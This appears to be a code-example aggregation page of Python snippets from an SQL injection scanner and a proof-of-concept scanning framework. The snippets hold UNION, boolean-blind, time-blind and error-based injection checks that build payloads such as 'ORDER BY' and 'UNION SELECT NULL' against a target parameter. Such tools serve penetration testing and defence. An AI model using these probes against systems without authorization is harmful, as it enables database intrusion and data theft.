示例#1
0
        def unionSelectTest(highCols):
            # TODO:customize
            infoMsg = 'testing UNION SELECT - prefix: {} suffix: {}'.format(
                boundary['prefix'], boundary['suffix'])
            logger.info(infoMsg)

            column = 0
            maxRatio = 0

            for i in range(1, highCols + 1):
                select = 'UNION SELECT NULL' + (i - 1) * ',NULL'
                payloadTemplate = '[_ORIGINAL]' + boundary[
                    'prefix'] + select + boundary['suffix']
                page, _, _, _ = queryTarget(payloadTemplate=payloadTemplate)

                if pageSucceed(page):

                    if comparison(rn.originalPage, page):
                        column = i
                        return column

                    ratio = getComparisonRatio(page, rn.originalPage)
                    if ratio > maxRatio:
                        maxRatio = ratio
                        column = i

            return column
示例#2
0
def findDynamicContent(firstPage, secondPage):

    if not firstPage or not secondPage:
        return

    infoMsg = "searching for dynamic content"
    logger.info(infoMsg)
示例#3
0
        def orderByTest(lowCols, highCols):

            infoMsg = 'testing ORDER BY - prefix: {} suffix: {}'.format(
                boundary['prefix'], boundary['suffix'])
            logger.info(infoMsg)

            column = 0

            if orderBySucceed(
                    lowCols) and not orderBySucceed(highCols) or orderByFailed(
                        highCols) and not orderByFailed(lowCols):
                mid = 0
                while lowCols <= highCols:
                    mid = int((highCols + lowCols) / 2)
                    if mid == lowCols:
                        break
                    if orderBySucceed(lowCols) and not orderBySucceed(
                            mid) or orderByFailed(
                                mid) and not orderByFailed(lowCols):
                        highCols = mid
                    elif orderBySucceed(mid) and not orderBySucceed(
                            highCols) or orderByFailed(
                                highCols) and not orderByFailed(mid):
                        lowCols = mid
                    else:
                        return None
                column = mid

            return column
示例#4
0
def checkStability():

    infoMsg = "testing if the target URL content is stable"
    logger.info(infoMsg)

    firstPage = rn.originalPage

    try:
        secondPage, _, _, _, = queryTarget()
        rn.pageStable = (firstPage == secondPage)
    except Exception:
        errMsg = 'check stability: failed to query target'
        logger.error(errMsg)
        raise QuitException

    if rn.pageStable:
        if firstPage:
            infoMsg = "target URL content is stable"
            logger.info(infoMsg)
        else:
            errMsg = "there was an error checking the stability of page "
            errMsg += "because of lack of content. Please check the "
            errMsg += "page request results (and probable errors) by "
            errMsg += "using higher verbosity levels"
            logger.error(errMsg)
    else:
        checkDynamicContent(firstPage, secondPage)
示例#5
0
 def __init__(self, request):
     self.id = request.id
     self.status = {}
     self.started = False
     self.request = request
     for m in scanner.module_obj:
         module_name = m.__name__
         self.status[module_name] = False
     logger.info("New task %s." % self.id)
     self.url = request.url
示例#6
0
 def add(self, task, modify_redis):
     if task.id in self.tasks.keys():
         logger.info("Duplicate task received:%s" % task.id)
         return False
     else:
         while self.running_task_num >= self.tasks_limitation:
             sleep(1)
         logger.success("Add new task into the TaskManager %s" % task.id)
         self.tasks[task.id] = task
         task.scan()
         self.running_task_num += 1
         # move request id from waiting to running
         if modify_redis:
             redis.run_task(task.id)
示例#7
0
def run():
    worker_count, max_concurrency = parse_args()
    with TemporaryDirectory() as work_dir:
        logger.info('Temporary directory is %s', work_dir)
        downloader = DataDownloader(work_dir, worker_count)
        master = BackgroundMaster(JobValidator(max_concurrency), downloader,
                                  DataReader(work_dir), DataWriter(work_dir))
        server = CustomServer(LISTEN_ADDRESS,
                              RequestHandler,
                              on_new_job=master.add_job,
                              on_get_job_status=master.get_job_status)
        master.start(worker_count)
        try:
            server.serve_forever()
        finally:
            master.stop()
            downloader.stop()
示例#8
0
def check_boolean_blind():

    infoMsg = 'testing for BOOLEAN BLIND injection on {} parameter {}'.format(
        target.method, target.paramName)
    logger.info(infoMsg)

    injectable = False

    #Create tests
    tests = createTests()

    # Query Target
    for test in tests:

        if injectable:
            break

        infoMsg = 'test \'{}\''.format(test['title'])
        logger.info(infoMsg)

        page1, _, _, _ = queryTarget(test['payloadTemplate'])
        payload = rn.lastQueryPayload
        page2, _, _, _ = queryTarget(test['comparisonTemplate'])
        payloadComparison = rn.lastQueryPayload

        if pageSucceed(page1) and pageFalse(page2) or pageSucceed(
                page2) and pageSucceed(page1):
            injectable = True

    if injectable:
        msg = '{} parameter \'{}\' is injectable'.format(
            target.method, target.paramName)
        logger.puts(msg)
        msg = '---\n'
        msg += 'Parameter: {} ({})\n'.format(target.paramName, target.method)
        msg += '\tType: BOOLEAN BLIND\n'
        msg += '\tTitle: {}\n'.format(test['title'])
        msg += '\tPayload: {}\n'.format(payload)
        msg += '\tComparisonPayload: {}\n'.format(payloadComparison)
        msg += '---'
        logger.puts(msg)
    else:
        msg = '{} parameter \'{}\' does not seem to be injectable by BOOLEAN BLIND.'.format(
            target.method, target.paramName)
        logger.puts(msg)
示例#9
0
def checkDynamicContent(firstPage, secondPage):
    #TODO
    infoMsg = 'check dynamic content'
    logger.info(infoMsg)

    if any(page is None for page in (firstPage, secondPage)):
        warnMsg = "can't check dynamic content "
        warnMsg += "because of lack of page content"
        logger.critical(warnMsg)
        return

    seqMatcher = difflib.SequenceMatcher(None)
    seqMatcher.set_seq1(firstPage)
    seqMatcher.set_seq2(secondPage)
    ratio = seqMatcher.quick_ratio()

    if ratio <= UPPER_RATIO_BOUND:
        findDynamicContent(firstPage, secondPage)
示例#10
0
def parseArgumentsToTarget(args):
	target = {}
	target['originalUrl'] = args.url

	#method, url, params
	if args.method == 'GET' :
		query = urllib.parse.urlparse(url=args.url,scheme='http').query
		if query:
			params = dict(_.split('=') for _ in query.split('&'))
			target['method'] = 'GET'
			target['params'] = params
			target['url_without_testParam'] = args.url.replace(query, '')
			target['url_without_query'] = args.url.replace('?' + query, '')
		else:
			print('todo')
	elif args.method == 'POST':
		logger.info('POST is not supported now')
		return None
	else:
		errorMsg = "please input method: GET/POST"
		logger.error(errorMsg)
		return None

	#testable param
	if args.testParam:
		if args.testParam in target['params']:
			target['paramName'] = args.testParam
			target['origValue'] = target['params'][args.testParam]

			for name in target['params'].keys():
				if name != target['paramName']:
					target['url_without_testParam'] += name + '=' + target['params'][name] + '&'
			target['url_without_testParam'] = target['url_without_testParam'][:-1]
		else:
			errorMsg = 'testParam not found'
			logger.error(errorMsg)
	else:
		errorMsg = 'please input testable parameter (e.g. -p "id")'
		logger.error(errorMsg)
		return None

	return target
示例#11
0
def scan():
    while common.scanner_status:
        if th.queue.qsize() > 0:
            task = th.queue.get(timeout=1.0)
        else:
            gevent.sleep(1)
            continue
        try:
            # POC在执行时报错如果不被处理,线程框架会停止并退出
            module, request = task[0], task[1]
            module_info = module.poc_info
            module_name = module.__name__
            logger.info("Start poc: %s at %s" % (module_name, request.url))
            scan_result = module.poc(request)
            logger.success("Finish poc: %s at %s" % (module_name, request.url))
            poc_result.queue.put(
                [request, module_name, module_info, scan_result])
        except Exception as e:
            th.errmsg = traceback.format_exc()
            logger.error(str(e))
示例#12
0
 def get(self):
     del_type = self.get_argument("type")
     if del_type in ['waiting', 'finished', 'running', 'vulnerable']:
         redis.conn.delete(del_type)
         return self.write(out.jump("/"))
     elif del_type == "flushdb":
         redis.conn.delete("waiting")
         redis.conn.delete("finished")
         redis.conn.delete("running")
         redis.conn.delete("vulnerable")
         redis.conn.delete("request")
         common.scanner_status = False
         logger.info("Clear all db data and stop the scanner.")
         return self.write(
             out.alert("Clear all db data and Stop the scanner.", "/"))
     elif del_type == "singlebug":
         id = self.get_argument("id")
         redis.conn.zremrangebyscore("vulnerable", id, id)
         logger.info("Delete a bug %s" % id)
         return self.write(out.jump("/list?type=vulnerable"))
示例#13
0
def filter_request(request_obj):
    black_extension = common.conf["black_ext"].split(",")
    black_domain = common.conf["black_domain"].split(",")
    white_domain = common.conf["white_domain"].split(",")

    # host is not in blacklist & in whitelist
    host = request_obj.host
    if any(white_domain):
        if host not in white_domain:
            logger.info("Request Filtered.Host %s not in the whitelist" % host)
            return "filtered"
    else:
        if host in black_domain:
            logger.info("Request Filtered.Host %s in the blacklist" % host)
            return "filtered"

    # filename extension not in black_extension
    path = request_obj.path
    ending = path[path.rfind("/"):]
    if ending.find(".") >= 0:
        ext = ending[ending.rindex(".") + 1:]
        if ext in black_extension:
            logger.info(
                "Request Filtered.Filename Extension %s in the blacklist" %
                ext)
            return "filtered"
    return True
示例#14
0
def checkConnection():

    infoMsg = "testing connection to the target URL"
    logger.info(infoMsg)

    try:
        page, headers, code, _ = queryTarget()

        if not page:
            errMsg = "unable to retrieve page content"
            raise ConnectionException(errMsg)

        rn.originalPage = rn.pageTemplate = page
        rn.originalCode = code

        infoMsg = "check connection: code {}".format(code)
        logger.info(infoMsg)

    except Exception:
        errMsg = 'check connection: failed'
        logger.error(errMsg)
        raise QuitException
示例#15
0
def check_union_based():

    infoMsg = 'testing for UNION query injection on {} parameter {}'.format(
        target.method, target.paramName)
    logger.info(infoMsg)

    injectable = False
    boundaries = xmlLoader.loadXml(FILE_XML_BOUNDARIES)

    for boundary in boundaries:
        if injectable:
            break

        lowCols = 1
        highCols = 20

        def orderBySucceed(cols):
            # TODO:customize
            payloadTemplate = '[_ORIGINAL]' + boundary[
                'prefix'] + 'ORDER BY ' + str(cols) + boundary['suffix']
            page, _, _, _ = queryTarget(payloadTemplate=payloadTemplate)

            if re.search(r"data types cannot be compared or sorted", page
                         or "", re.I) is not None:
                return True

            if pageSucceed(page) and comparison(rn.originalPage, page):
                return True

            return False

        def orderByFailed(cols):
            # TODO:customize
            payloadTemplate = '[_ORIGINAL]' + boundary[
                'prefix'] + 'ORDER BY ' + str(cols) + boundary['suffix']
            page, _, _, _ = queryTarget(payloadTemplate=payloadTemplate)

            for _ in ("(warning|error):", "order (by|clause)",
                      "unknown column", "failed"):
                if re.search(_, page or "", re.I) and not re.search(
                        _, rn.originalPage or "", re.I):
                    return True

            if pageError(page):
                return True

            return False

        def orderByTest(lowCols, highCols):

            infoMsg = 'testing ORDER BY - prefix: {} suffix: {}'.format(
                boundary['prefix'], boundary['suffix'])
            logger.info(infoMsg)

            column = 0

            if orderBySucceed(
                    lowCols) and not orderBySucceed(highCols) or orderByFailed(
                        highCols) and not orderByFailed(lowCols):
                mid = 0
                while lowCols <= highCols:
                    mid = int((highCols + lowCols) / 2)
                    if mid == lowCols:
                        break
                    if orderBySucceed(lowCols) and not orderBySucceed(
                            mid) or orderByFailed(
                                mid) and not orderByFailed(lowCols):
                        highCols = mid
                    elif orderBySucceed(mid) and not orderBySucceed(
                            highCols) or orderByFailed(
                                highCols) and not orderByFailed(mid):
                        lowCols = mid
                    else:
                        return None
                column = mid

            return column

        def unionSelectTest(highCols):
            # TODO:customize
            infoMsg = 'testing UNION SELECT - prefix: {} suffix: {}'.format(
                boundary['prefix'], boundary['suffix'])
            logger.info(infoMsg)

            column = 0
            maxRatio = 0

            for i in range(1, highCols + 1):
                select = 'UNION SELECT NULL' + (i - 1) * ',NULL'
                payloadTemplate = '[_ORIGINAL]' + boundary[
                    'prefix'] + select + boundary['suffix']
                page, _, _, _ = queryTarget(payloadTemplate=payloadTemplate)

                if pageSucceed(page):

                    if comparison(rn.originalPage, page):
                        column = i
                        return column

                    ratio = getComparisonRatio(page, rn.originalPage)
                    if ratio > maxRatio:
                        maxRatio = ratio
                        column = i

            return column

        column = orderByTest(lowCols, highCols)

        if column == 0:
            column = unionSelectTest(highCols)
        if column == 0:
            continue

        logger.puts("found column: {}".format(column))

        #test whether injectale
        randStr = randomStr(10)

        for i in range(1, column + 1):

            if i == 1:
                select = 'UNION SELECT ' + randStr + (column - 1) * ',NULL'
            else:
                select = 'UNION SELECT NULL,' + (i - 2) * 'NULL,' + randStr + (
                    column - i) * ',NULL'

            payloadTemplate = '[_ORIGINAL_NEGATIVE]' + boundary[
                'prefix'] + select + boundary['suffix']
            page, _, _, _ = queryTarget(payloadTemplate=payloadTemplate)
            match = pageRegexp(randStr, page)

            if match:
                injectable = True
                break

    if injectable:
        msg = '{} parameter \'{}\' is injectable'.format(
            target.method, target.paramName)
        logger.puts(msg)
        msg = '---\n'
        msg += 'Parameter: {} ({})\n'.format(target.paramName, target.method)
        msg += '\tType: UNION query\n'
        msg += '\tPayload: {}\n'.format(rn.lastQueryPayload)
        msg += '---'
        logger.puts(msg)
    else:
        msg = '{} parameter \'{}\' does not seem to be injectable by UNION query.'.format(
            target.method, target.paramName)
        logger.puts(msg)
示例#16
0
 def update(self, module_name, status):
     self.status[module_name] = status
     logger.info("Update task %s scanning status: %s, %s." %
                 (self.id, module_name, status))
     return True
示例#17
0
def check_time_blind():

    infoMsg = 'testing for TIME BLIND injection on {} parameter {}'.format(
        target.method, target.paramName)
    logger.info(infoMsg)

    injectable = False

    # Create tests
    tests = createTests()

    #Get lowerStdLimit
    responseTimes = []

    for _ in range(MIN_TIME_RESPONSES):
        _, _, _, queryDuration = queryTarget()
        responseTimes.append(queryDuration)

    avg = (1.0 * sum(responseTimes) / len(responseTimes))
    _ = 1.0 * sum(pow((_ or 0) - avg, 2) for _ in responseTimes)
    deviation = math.sqrt(_ / (len(responseTimes) - 1))
    rn.lowerStdLimit = avg + TIME_STDEV_COEFF * deviation  # 最慢的响应时间

    # Query Target
    for test in tests:

        if injectable:
            break
        infoMsg = 'test \'{}\''.format(test['title'])
        logger.info(infoMsg)

        _, _, _, responseTime = queryTarget(
            payloadTemplate=test['payloadTemplate'],
            replacements={'[ACTION]': SLEEP_TIME})
        trueResult = wasResponseDelayed(responseTime)
        if trueResult:
            _, _, _, responseTime = queryTarget(
                payloadTemplate=test['payloadTemplate'],
                replacements={'[ACTION]': '0'})
            falseResult = wasResponseDelayed(responseTime)
            if falseResult:
                continue

        _, _, _, responseTime = queryTarget(
            payloadTemplate=test['payloadTemplate'],
            replacements={'[ACTION]': SLEEP_TIME})
        trueResult = wasResponseDelayed(responseTime)

        if trueResult:

            injectable = True
            break

    if injectable:
        msg = '{} parameter \'{}\' is injectable'.format(
            target.method, target.paramName)
        logger.puts(msg)
        msg = '---\n'
        msg += 'Parameter: {} ({})\n'.format(target.paramName, target.method)
        msg += '\tType: TIME BLIND\n'
        msg += '\tTitle: {}\n'.format(test['title'])
        msg += '\tPayload: {}\n'.format(rn.lastQueryPayload)
        msg += '---'
        logger.puts(msg)
    else:
        msg = '{} parameter \'{}\' does not seem to be injectable by TIME BLIND.'.format(
            target.method, target.paramName)
        logger.puts(msg)
示例#18
0
 def update(self, task_id, module_name, status):
     task = self.tasks[task_id]
     task.update(module_name, status)
     if task.finished():
         logger.info("Finish Task with id %s" % task_id)
         self.remove(task_id)
示例#19
0
def check_error_based():

    infoMsg = 'testing for ERROR BASED injection on {} parameter {}'.format(
        target.method, target.paramName)
    logger.info(infoMsg)

    injectable = False
    output = None

    # Create tests
    tests = createTests()

    # Query Target
    for test in tests:

        if injectable:
            break
        infoMsg = 'test \'{}\''.format(test['title'])
        logger.info(infoMsg)

        try:
            startStr = randomStr(3)
            stopStr = randomStr(3)
            markInt = str(randomInt())
            markStr = randomStr(3)

            page, _, _, _ = queryTarget(
                payloadTemplate=test['payloadTemplate'],
                replacements={
                    '[DELIMITER_START]': startStr,
                    '[DELIMITER_STOP]': stopStr,
                    '[MARKINT]': markInt,
                    '[MARKSTR]': markStr
                })

            regex = test['grep']
            regex = regex.replace('[DELIMITER_START]', startStr)
            regex = regex.replace('[DELIMITER_STOP]', stopStr)
            match = pageRegexp(regex, page)

            if match:
                output = match.group("result")

            if output:
                result = output == markInt or output == markStr

                if result:
                    injectable = True
                    msg = '{} parameter \'{}\' is injectable'.format(
                        target.method, target.paramName)
                    logger.puts(msg)
                    msg = '---\n'
                    msg += 'Parameter: {} ({})\n'.format(
                        target.paramName, target.method)
                    msg += '\tType: ERROR BASED\n'
                    msg += '\tTitle: {}\n'.format(test['title'])
                    msg += '\tPayload: {}\n'.format(rn.lastQueryPayload)
                    msg += '---'
                    logger.puts(msg)

        except Exception:
            raise QuitException

    if not injectable:
        msg = '{} parameter \'{}\' does not seem to be injectable by ERROR BASED.'.format(
            target.method, target.paramName)
        logger.puts(msg)